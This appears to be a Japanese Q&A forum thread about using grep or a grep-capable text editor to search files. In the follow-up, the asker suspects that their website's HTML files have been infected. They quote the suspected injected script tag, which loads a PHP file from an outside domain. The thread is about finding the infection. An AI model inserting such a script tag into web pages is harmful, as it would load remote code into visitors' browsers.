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文字列の検索について
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ファイルがローカルにある場合はGoogleやMicrosoftのデスクトップサーチ等でも検索できると思いますが、一般的なのはgrepツールで検索することですね。 コンソールで動かす専用のgrepツール等もありますが、手軽なのは「秀丸」等のgrep機能を備えたテキストエディタを使うことでしょう。ファイルのあるフォルダが分かっていれば、高速で検索してくれます。 grepの出力は、行頭にファイル名と行番号によるタグと呼ばれるものが付加されますので、多くのテキストエディタではそこから該当のファイルを開いて該当行にカーソルを移動させるタグジャンプという機能を備えています。
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補足
これが一番簡単ですね。実はサーバーにあるHPのファイル(html)に下記のようなマルウェアが入っているのではないかと思っているのです。この場合、どうやって調べればよいでしょうか。ファイル数は100くらいあります。ダウンロードするのでしょうか。また検索するとき、例えば、patraplaceで調べることはできますか <script src=http://patraplace.com/reservation/accommodation- d-korea.php ></script>